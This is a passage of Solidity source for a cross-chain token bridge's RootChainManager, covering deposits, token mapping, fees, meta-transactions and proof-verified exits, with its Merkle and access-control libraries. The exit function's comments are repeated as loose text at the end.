uint8(_getNthNibbleOfBytes(0, b)); if (hpNibble == 1 || hpNibble == 3) { nibbles = new bytes(b.length * 2 - 1); bytes1 oddNibble = _getNthNibbleOfBytes(1, b); nibbles[0] = oddNibble; offset = 1; } else { nibbles = new bytes(b.length * 2 - 2); offset = 0; } for (uint256 i = offset; i < nibbles.length; i++) { nibbles[i] = _getNthNibbleOfBytes(i - offset + 2, b); } } return nibbles; } function _getNthNibbleOfBytes(uint256 n, bytes memory str) private pure returns (bytes1) { return bytes1( n % 2 == 0 ? uint8(str[n / 2]) / 0x10 : uint8(str[n / 2]) % 0x10 ); } } // File: contracts/lib/Merkle.sol pragma solidity 0.6.6; library Merkle { function checkMembership( bytes32 leaf, uint256 index, bytes32 rootHash, bytes memory proof ) internal pure returns (bool) { require(proof.length % 32 == 0, "Invalid proof length"); uint256 proofHeight = proof.length / 32; // Proof of size n means, height of the tree is n+1. // In a tree of height n+1, max #leafs possible is 2 ^ n require(index < 2 ** proofHeight, "Leaf index is too big"); bytes32 proofElement; bytes32 computedHash = leaf; for (uint256 i = 32; i <= proof.length; i += 32) { assembly { proofElement := mload(add(proof, i)) } if (index % 2 == 0) { computedHash = keccak256( abi.encodePacked(computedHash, proofElement) ); } else { computedHash = keccak256( abi.encodePacked(proofElement, computedHash) ); } index = index / 2; } return computedHash == rootHash; } } // File: contracts/root/TokenPredicates/ITokenPredicate.sol pragma solidity 0.6.6; /// @title Token predicate interface for all pos portal predicates /// @notice Abstract interface that defines methods for custom predicates interface ITokenPredicate { /** * @notice Deposit tokens into pos portal * @dev When `depositor` deposits tokens into pos portal, tokens get locked into predicate contract. * @param depositor Address who wants to deposit tokens * @param depositReceiver Address (address) who wants to receive tokens on side chain * @param rootToken Token which gets deposited * @param depositData Extra data for deposit (amount for ERC20, token id for ERC721 etc.) [ABI encoded] */ function lockTokens( address depositor, address depositReceiver, address rootToken, bytes calldata depositData ) external; /** * @notice Validates and processes exit while withdraw process * @dev Validates exit log emitted on sidechain. Reverts if validation fails. * @dev Processes withdraw based on custom logic. Example: transfer ERC20/ERC721, mint ERC721 if mintable withdraw * @param sender Address * @param rootToken Token which gets withdrawn * @param logRLPList Valid sidechain log for data like amount, token id etc. */ function exitTokens( address sender, address rootToken, bytes calldata logRLPList ) external; } // File: contracts/common/Initializable.sol pragma solidity 0.6.6; contract Initializable { bool inited = false; modifier initializer() { require(!inited, "already inited"); _; inited = true; } } // File: contracts/common/EIP712Base.sol pragma solidity 0.6.6; contract EIP712Base is Initializable { struct EIP712Domain { string name; string version; address verifyingContract; bytes32 salt; } string constant public ERC712_VERSION = "1"; bytes32 internal constant EIP712_DOMAIN_TYPEHASH = keccak256( bytes( "EIP712Domain(string name,string version,address verifyingContract,bytes32 salt)" ) ); bytes32 internal domainSeperator; // supposed to be called once while initializing. // one of the contractsa that inherits this contract follows proxy pattern // so it is not possible to do this in a constructor function _initializeEIP712( string memory name ) internal initializer { _setDomainSeperator(name); } function _setDomainSeperator(string memory name) internal { domainSeperator = keccak256( abi.encode( EIP712_DOMAIN_TYPEHASH, keccak256(bytes(name)), keccak256(bytes(ERC712_VERSION)), address(this), bytes32(getChainId()) ) ); } function getDomainSeperator() public view returns (bytes32) { return domainSeperator; } function getChainId() public pure returns (uint256) { uint256 id; assembly { id := chainid() } return id; } /** * Accept message hash and returns hash message in EIP712 compatible form * So that it can be used to recover signer from signature signed using EIP712 formatted data * https://eips.ethereum.org/EIPS/eip-712 * "\\x19" makes the encoding deterministic * "\\x01" is the version byte to make it compatible to EIP-191 */ function toTypedMessageHash(bytes32 messageHash) internal view returns (bytes32) { return keccak256( abi.encodePacked("\x19\x01", getDomainSeperator(), messageHash) ); } } // File: contracts/common/NativeMetaTransaction.sol pragma solidity 0.6.6; contract NativeMetaTransaction is EIP712Base { using SafeMath for uint256; bytes32 private constant META_TRANSACTION_TYPEHASH = keccak256( bytes( "MetaTransaction(uint256 nonce,address from,bytes functionSignature)" ) ); event MetaTransactionExecuted( address userAddress, address payable relayerAddress, bytes functionSignature ); mapping(address => uint256) nonces; /* * Meta transaction structure. * No point of including value field here as if user is doing value transfer then he has the funds to pay for gas * He should call the desired function directly in that case. */ struct MetaTransaction { uint256 nonce; address from; bytes functionSignature; } function executeMetaTransaction( address userAddress, bytes memory functionSignature, bytes32 sigR, bytes32 sigS, uint8 sigV ) public payable returns (bytes memory) { MetaTransaction memory metaTx = MetaTransaction({ nonce: nonces[userAddress], from: userAddress, functionSignature: functionSignature }); require( verify(userAddress, metaTx, sigR, sigS, sigV), "Signer and signature do not match" ); // increase nonce for user (to avoid re-use) nonces[userAddress] = nonces[userAddress].add(1); emit MetaTransactionExecuted( userAddress, msg.sender, functionSignature ); // Append userAddress and relayer address at the end to extract it from calling context (bool success, bytes memory returnData) = address(this).call( abi.encodePacked(functionSignature, userAddress) ); require(success, "Function call not successful"); return returnData; } function hashMetaTransaction(MetaTransaction memory metaTx) internal pure returns (bytes32) { return keccak256( abi.encode( META_TRANSACTION_TYPEHASH, metaTx.nonce, metaTx.from, keccak256(metaTx.functionSignature) ) ); } function getNonce(address user) public view returns (uint256 nonce) { nonce = nonces[user]; } function verify( address signer, MetaTransaction memory metaTx, bytes32 sigR, bytes32 sigS, uint8 sigV ) internal view returns (bool) { require(signer != address(0), "NativeMetaTransaction: INVALID_SIGNER"); return signer == ecrecover( toTypedMessageHash(hashMetaTransaction(metaTx)), sigV, sigR, sigS ); } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/Context.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/AccessControl.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // File: contracts/common/AccessControlMixin.sol pragma solidity 0.6.6; contract AccessControlMixin is AccessControl { string private _revertMsg; function _setupContractId(string memory contractId) internal { _revertMsg = string(abi.encodePacked(contractId, ": INSUFFICIENT_PERMISSIONS")); } modifier only(bytes32 role) { require( hasRole(role, _msgSender()), _revertMsg ); _; } } // File: contracts/common/ContextMixin.sol pragma solidity 0.6.6; abstract contract ContextMixin { function msgSender() internal view returns (address payable sender) { if (msg.sender == address(this)) { bytes memory array = msg.data; uint256 index = msg.data.length; assembly { // Load the 32 bytes word from memory with the address on the lower 20 bytes, and mask those. sender := and( mload(add(array, index)), 0xffffffffffffffffffffffffffffffffffffffff ) } } else { sender = msg.sender; } return sender; } } // File: contracts/root/RootChainManager/RootChainManager.sol pragma solidity 0.6.6; contract RootChainManager is IRootChainManager, Initializable, AccessControl, // included to match old storage layout while upgrading RootChainManagerStorage, // created to match old storage layout while upgrading AccessControlMixin, NativeMetaTransaction, ContextMixin { using RLPReader for bytes; using RLPReader for RLPReader.RLPItem; using Merkle for bytes32; using SafeMath for uint256; using SafeERC20 for IERC20; // maybe DEPOSIT and MAP_TOKEN can be reduced to bytes4 bytes32 public constant DEPOSIT = keccak256("DEPOSIT"); bytes32 public constant MAP_TOKEN = keccak256("MAP_TOKEN"); address public constant ETHER_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; bytes32 public constant MAPPER_ROLE = keccak256("MAPPER_ROLE"); uint64 public constant CHAIN_ID = 2; // 1: tron 2: eth 3: bsc function _msgSender() internal override view returns (address payable sender) { return ContextMixin.msgSender(); } /** * @notice Deposit ether by directly sending to the contract * The account sending ether receives WETH on child chain */ receive() external payable { _depositEtherFor(_msgSender()); } /** * @notice Initialize the contract after it has been proxified * @dev meant to be called once immediately after deployment * @param _owner the account that should be granted admin role */ function initialize( address _owner ) external initializer { _initializeEIP712("RootChainManager"); _setupContractId("RootChainManager"); _setupRole(DEFAULT_ADMIN_ROLE, _owner); _setupRole(MAPPER_ROLE, _owner); blockNumber = 1; blockRequestCount = 0; requestLimit = 10; } // adding seperate function setupContractId since initialize is already called with old implementation function setupContractId() external only(DEFAULT_ADMIN_ROLE) { _setupContractId("RootChainManager"); } // adding seperate function initializeEIP712 since initialize is already called with old implementation function initializeEIP712() external only(DEFAULT_ADMIN_ROLE) { _setDomainSeperator("RootChainManager"); } /** * @notice Set the state sender, callable only by admins * @dev This should be the state sender from plasma contracts * It is used to send bytes from root to child chain * @param newStateSender address of state sender contract */ function setStateSender(address newStateSender) external only(DEFAULT_ADMIN_ROLE) { require(newStateSender != address(0), "RootChainManager: BAD_NEW_STATE_SENDER"); _stateSender = IStateSender(newStateSender); } /** * @notice Get the address of contract set as state sender * @return The address of state sender contract */ function stateSenderAddress() external view returns (address) { return address(_stateSender); } /** * @notice Set the checkpoint manager, callable only by admins * @dev This should be the plasma contract responsible for keeping track of checkpoints * @param newCheckpointManager address of checkpoint manager contract */ function setCheckpointManager(address newCheckpointManager) external only(DEFAULT_ADMIN_ROLE) { require(newCheckpointManager != address(0), "RootChainManager: BAD_NEW_CHECKPOINT_MANAGER"); _checkpointManager = ICheckpointManager(newCheckpointManager); } /** * @notice Get the address of contract set as checkpoint manager * @return The address of checkpoint manager contract */ function checkpointManagerAddress() external view returns (address) { return address(_checkpointManager); } /** * @notice Set the child chain manager, callable only by admins * @dev This should be the contract responsible to receive deposit bytes on child chain * @param newChildChainManager address of child chain manager contract */ function setChildChainManagerAddress(address newChildChainManager) external only(DEFAULT_ADMIN_ROLE) { require(newChildChainManager != address(0x0), "RootChainManager: INVALID_CHILD_CHAIN_ADDRESS"); childChainManagerAddress = newChildChainManager; } /** * @notice Set the request limit, callable only by admins * @param newRequestLimit value of request limit */ function setRequestLimit(uint256 newRequestLimit) external only(DEFAULT_ADMIN_ROLE) { requestLimit = newRequestLimit; } /** * @notice Register a token predicate address against its type, callable only by ADMIN * @dev A predicate is a contract responsible to process the token specific logic while locking or exiting tokens * @param tokenType bytes32 unique identifier for the token type * @param predicateAddress address of token predicate address */ function registerPredicate(bytes32 tokenType, address predicateAddress) external override only(DEFAULT_ADMIN_ROLE) { typeToPredicate[tokenType] = predicateAddress; emit PredicateRegistered(tokenType, predicateAddress); } /** * @notice Map a token to enable its movement via the PoS Portal, callable only by mappers. * Warn: check the child token whether already mapped on the root chain (like Tron/ETH/BSC...) * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function mapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(MAPPER_ROLE) { // explicit check if token is already mapped to avoid accidental remaps require( rootToChildToken[rootToken] == address(0) && childToRootToken[childToken] == address(0), "RootChainManager: ALREADY_MAPPED" ); _mapToken(rootToken, childToken, tokenType); } /** * @notice Set the fee parameters, callable only by admins * @dev This responsible for fee charge * @param newFeeTo address of fee sent to * @param newFeeToken address of new fee Token * @param newFeeAmount amount of feeToken */ function setFeeParameters(address newFeeTo, address newFeeToken, uint256 newFeeAmount) external only(DEFAULT_ADMIN_ROLE) { require(newFeeTo != address(0), "RootChainManager: BAD_NEW_FEE_TO"); require(newFeeToken != address(0), "RootChainManager: BAD_NEW_FEE_TOKEN"); feeTo = newFeeTo; feeToken = newFeeToken; feeAmount = newFeeAmount; } /** * @notice Clean polluted token mapping * @param rootToken address of token on root chain. Since rename token was introduced later stage, * clean method is used to clean pollulated mapping */ function cleanMapToken( address rootToken, address childToken ) external override only(DEFAULT_ADMIN_ROLE) { rootToChildToken[rootToken] = address(0); childToRootToken[childToken] = address(0); tokenToType[rootToken] = bytes32(0); emit TokenMapped(rootToken, childToken, tokenToType[rootToken]); } /** * @notice Remap a token that has already been mapped, properly cleans up old mapping * Callable only by ADMIN * @param rootToken address of token on root chain * @param childToken address of token on child chain * @param tokenType bytes32 unique identifier for the token type */ function remapToken( address rootToken, address childToken, bytes32 tokenType ) external override only(DEFAULT_ADMIN_ROLE) { // cleanup old mapping address oldChildToken = rootToChildToken[rootToken]; address oldRootToken = childToRootToken[childToken]; if (rootToChildToken[oldRootToken] != address(0)) { rootToChildToken[oldRootToken] = address(0); tokenToType[oldRootToken] = bytes32(0); } if (childToRootToken[oldChildToken] != address(0)) { childToRootToken[oldChildToken] = address(0); } _mapToken(rootToken, childToken, tokenType); } function _mapToken( address rootToken, address childToken, bytes32 tokenType ) private { require( typeToPredicate[tokenType] != address(0x0), "RootChainManager: TOKEN_TYPE_NOT_SUPPORTED" ); rootToChildToken[rootToken] = childToken; childToRootToken[childToken] = rootToken; tokenToType[rootToken] = tokenType; emit TokenMapped(rootToken, childToken, tokenType); bytes memory syncData = abi.encode(rootToken, childToken, CHAIN_ID, tokenType); _stateSender.syncState( childChainManagerAddress, abi.encode(MAP_TOKEN, syncData) ); } /** * @notice Move ether from root to child chain, accepts ether transfer * Keep in mind this ether cannot be used to pay gas on child chain * Use Matic tokens deposited using plasma mechanism for that * @param user address of account that should receive WETH on child chain */ function depositEtherFor(address user) external override payable { _depositEtherFor(user); } /** * @notice Move tokens from root to child chain * @dev This mechanism supports arbitrary tokens as long as its predicate has been registered and the token is mapped * @param user address of account that should receive this deposit on child chain * @param rootToken address of token that is being deposited * @param depositData bytes data that is sent to predicate and child token contracts to handle deposit */ function depositFor( address user, address rootToken, bytes calldata depositData ) external override { require( rootToken != ETHER_ADDRESS, "RootChainManager: INVALID_ROOT_TOKEN" ); _depositFor(user, rootToken, depositData); } function _depositEtherFor(address user) private { bytes memory depositData = abi.encode(msg.value); _depositFor(user, ETHER_ADDRESS, depositData); // payable(typeToPredicate[tokenToType[ETHER_ADDRESS]]).transfer(msg.value); // transfer doesn't work as expected when receiving contract is proxified so using call (bool success, /* bytes memory data */) = typeToPredicate[tokenToType[ETHER_ADDRESS]].call{value: msg.value}(""); if (!success) { revert("RootChainManager: ETHER_TRANSFER_FAILED"); } } function _depositFor( address user, address rootToken, bytes memory depositData ) private { if (blockNumber < block.number) { blockNumber = block.number; blockRequestCount = 1; } else { require(blockRequestCount < requestLimit, "try later"); blockRequestCount = blockRequestCount.add(1); } bytes32 tokenType = tokenToType[rootToken]; require( rootToChildToken[rootToken] != address(0x0) && tokenType != 0, "RootChainManager: TOKEN_NOT_MAPPED" ); address predicateAddress = typeToPredicate[tokenType]; require( predicateAddress != address(0), "RootChainManager: INVALID_TOKEN_TYPE" ); require( user != address(0), "RootChainManager: INVALID_USER" ); if(address(feeToken) != address(0x0) && (feeAmount > 0)){ IERC20(feeToken).safeTransferFrom(_msgSender(), feeTo, feeAmount); } ITokenPredicate(predicateAddress).lockTokens( _msgSender(), user, rootToken, depositData ); bytes memory syncData = abi.encode(user, rootToken, CHAIN_ID, depositData); _stateSender.syncState( childChainManagerAddress, abi.encode(DEPOSIT, syncData) ); } /** * @notice exit tokens by providing proof * @dev This function verifies if the transaction actually happened on child chain * the transaction log is then sent to token predicate to handle it accordingly * * @param inputData RLP encoded data of the reference tx containing following list of fields * 0 - headerNumber - Checkpoint header block number containing the reference tx * 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root * 2 - blockNumber - Block number containing the reference tx on child chain * 3 - blockTime - Reference tx block time * 4 - txRoot - Transactions root of block * 5 - receiptRoot - Receipts root of block * 6 - receipt - Receipt of the reference transaction * 7 - receiptProof - Merkle proof of the reference receipt * 8 - branchMask - 32 bits denoting the path of receipt in merkle tree * 9 - receiptLogIndex - Log Index to read from the receipt */ function exit(bytes calldata inputData) external override { RLPReader.RLPItem[] memory inputDataRLPList = inputData .toRlpItem() .toList(); // checking if exit has already been processed // unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) bytes32 exitHash = keccak256( abi.encodePacked( inputDataRLPList[2].toUint(), // blockNumber // first 2 nibbles are dropped while generating nibble array // this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) // so converting to nibble array and then hashing it MerklePatriciaProof._getNibbleArray(inputDataRLPList[8].toBytes()), // branchMask inputDataRLPList[9].toUint() // receiptLogIndex ) ); require( processedExits[exitHash] == false, "RootChainManager: EXIT_ALREADY_PROCESSED" ); processedExits[exitHash] = true; RLPReader.RLPItem[] memory receiptRLPList = inputDataRLPList[6] .toBytes() .toRlpItem() .toList(); RLPReader.RLPItem memory logRLP = receiptRLPList[3] .toList()[ inputDataRLPList[9].toUint() // receiptLogIndex ]; address childToken = RLPReader.toAddress(logRLP.toList()[0]); // log emitter address field // log should be emmited only by the child token address rootToken = childToRootToken[childToken]; require( rootToken != address(0), "RootChainManager: TOKEN_NOT_MAPPED" ); address predicateAddress = typeToPredicate[ tokenToType[rootToken] ]; // branch mask can be maximum 32 bits require( inputDataRLPList[8].toUint() & 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF00000000 == 0, "RootChainManager: INVALID_BRANCH_MASK" ); // verify receipt inclusion require( MerklePatriciaProof.verify( inputDataRLPList[6].toBytes(), // receipt inputDataRLPList[8].toBytes(), // branchMask inputDataRLPList[7].toBytes(), // receiptProof bytes32(inputDataRLPList[5].toUint()) // receiptRoot ), "RootChainManager: INVALID_PROOF" ); // verify checkpoint inclusion _checkBlockMembershipInCheckpoint( inputDataRLPList[2].toUint(), // blockNumber inputDataRLPList[3].toUint(), // blockTime bytes32(inputDataRLPList[4].toUint()), // txRoot bytes32(inputDataRLPList[5].toUint()), // receiptRoot inputDataRLPList[0].toUint(), // headerNumber inputDataRLPList[1].toBytes() // blockProof ); ITokenPredicate(predicateAddress).exitTokens( _msgSender(), rootToken, logRLP.toRlpBytes() ); } function _checkBlockMembershipInCheckpoint( uint256 blockNumber, uint256 blockTime, bytes32 txRoot, bytes32 receiptRoot, uint256 headerNumber, bytes memory blockProof ) private view returns (uint256) { ( bytes32 headerRoot, uint256 startBlock, , uint256 createdAt, ) = _checkpointManager.headerBlocks(headerNumber); require( keccak256( abi.encodePacked(blockNumber, blockTime, txRoot, receiptRoot) ) .checkMembership( blockNumber.sub(startBlock), headerRoot, blockProof ), "RootChainManager: INVALID_HEADER" ); return createdAt; } }
* @notice exit tokens by providing proof @dev This function verifies if the transaction actually happened on child chain the transaction log is then sent to token predicate to handle it accordingly @param inputData RLP encoded data of the reference tx containing following list of fields 0 - headerNumber - Checkpoint header block number containing the reference tx 1 - blockProof - Proof that the block header (in the child chain) is a leaf in the submitted merkle root 2 - blockNumber - Block number containing the reference tx on child chain 3 - blockTime - Reference tx block time 4 - txRoot - Transactions root of block 5 - receiptRoot - Receipts root of block 6 - receipt - Receipt of the reference transaction 7 - receiptProof - Merkle proof of the reference receipt 8 - branchMask - 32 bits denoting the path of receipt in merkle tree 9 - receiptLogIndex - Log Index to read from the receipt/ checking if exit has already been processed unique exit is identified using hash of (blockNumber, branchMask, receiptLogIndex) first 2 nibbles are dropped while generating nibble array this allows branch masks that are valid but bypass exitHash check (changing first 2 nibbles only) so converting to nibble array and then hashing it log should be emmited only by the child token branch mask can be maximum 32 bits verify receipt inclusion verify checkpoint inclusion
